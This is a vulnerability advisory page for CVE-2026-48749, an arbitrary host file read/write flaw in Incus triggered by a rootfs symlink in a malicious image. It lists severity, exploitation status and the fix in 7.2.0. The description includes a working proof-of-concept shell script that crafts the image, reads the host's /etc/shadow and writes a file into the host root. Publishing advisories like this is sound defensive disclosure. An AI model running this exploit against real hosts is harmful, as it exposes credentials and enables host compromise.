Skip to main content
VulnerabilityPublished

CVE-2026-48749: Incusd · Incus has an arbitrary file read+write on host via rootfs/ symlink in malicious image

Affects github.com/lxc/incus/v7/cmd/incusdSource GCVE Database

0
Compare
Authoritative record:CVE-2026-48749· Critical 9.9

Not known to be exploited · CVSS 9.9 Critical : upgrade to 7.2.0 as a priority.

Data as of 30 Oct 2026, 06:59 UTC

CVSS 3.1 base score
9.9Critical
How severe the flaw is on the 0–10 CVSS scale.
EPSS
0.7% chance of exploitation in 30 days – higher than 54% of CVEsExploit Prediction Scoring System: the likelihood attackers will use this flaw soon.
Patch
Available – fixed in 7.2.0
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Exploitation evidence

t = 0 is the CVE’s publication on cve.org

  1. Disclosed: evidence found.

    CVE published 21 Aug 2026

  2. Detectable: no evidence on record.

    No public nuclei template indexed

  3. Weaponized: evidence found.

    CISA SSVC: proof of concept public

  4. Exploited in the wild: no evidence on record.

    Not in CISA KEV and no source reports exploitation

  5. Observed by OffSeq Mirage: no evidence on record.

    No attack traffic recorded by OffSeq Mirage sensors

Timeline

  1. CVE ID reserved

    by GitHub, Inc.

    , 91 days before disclosure

  2. CVE published

    on cve.org

    , t = 0

  3. CISA SSVC assessment

    proof of concept public

    , 1 hour after disclosure

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), CISA SSVC, the Metasploit, Exploit-DB and nuclei-templates index as of 29 Oct 2026.

What to do

Upgrade github.com/lxc/incus/v7/cmd/incusd to 7.2.0.

Affected software

ProductAffectedFixed in
Gogithub.com/lxc/incus/v7/cmd/incusdAffected
  • <7.2.0
Fixed in
  • 7.2.0

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

### Summary A specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution. ### Details Incus validates an image as soon as it sees a normal `metadata.yaml` and a `rootfs/` entry, but full extraction can later process a duplicate top-level `rootfs` symlink. Later, the stopped-container file API opens `d.RootfsPath()` and passes that file descriptor to `forkfile`, which chroots to it. ``` metadata.yaml rootfs/ rootfs -> / ``` In practice, this allows a malicious actor to access the host's filesystem with root privileges. ### PoC Below, we map the container's rootfs to `/` on the host, but it can be mapped anywhere. We then retrieve the host's `/etc/shadow` file and create a file in `/`. ``` #!/bin/sh set -eu tmpdir=$(mktemp -d) cleanup() { rm -rf "${tmpdir}" } trap cleanup EXIT INT QUIT TERM HUP mkdir -p "${tmpdir}/img/rootfs" cat<<__EOF__>"${tmpdir}/img/metadata.yaml" architecture: x86_64 creation_date: 1 properties: description: PoC rootfs symlink host afrw __EOF__ cd "${tmpdir}/img" tar --owner=0 --group=0 -f- -c * >../afrw-rootfs-symlink.tar # inject rootfs symlink rmdir rootfs ln -s / rootfs tar --owner=0 --group=0 -f ../afrw-rootfs-symlink.tar --append rootfs incus image import ../afrw-rootfs-symlink.tar --alias afrw-rootfs-symlink incus init afrw-rootfs-symlink afrw-rootfs-symlink # read incus file pull afrw-rootfs-symlink/etc/shadow "${tmpdir}/shadow" cat "${tmpdir}/shadow" # write printf 'afrw-rootfs-symlink\n' >"${tmpdir}/afrw-rootfs-symlink" incus file push "${tmpdir}/afrw-rootfs-symlink" afrw-rootfs-symlink/ ``` ### Impact Arbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.

References

Community reviews

Loading reviews…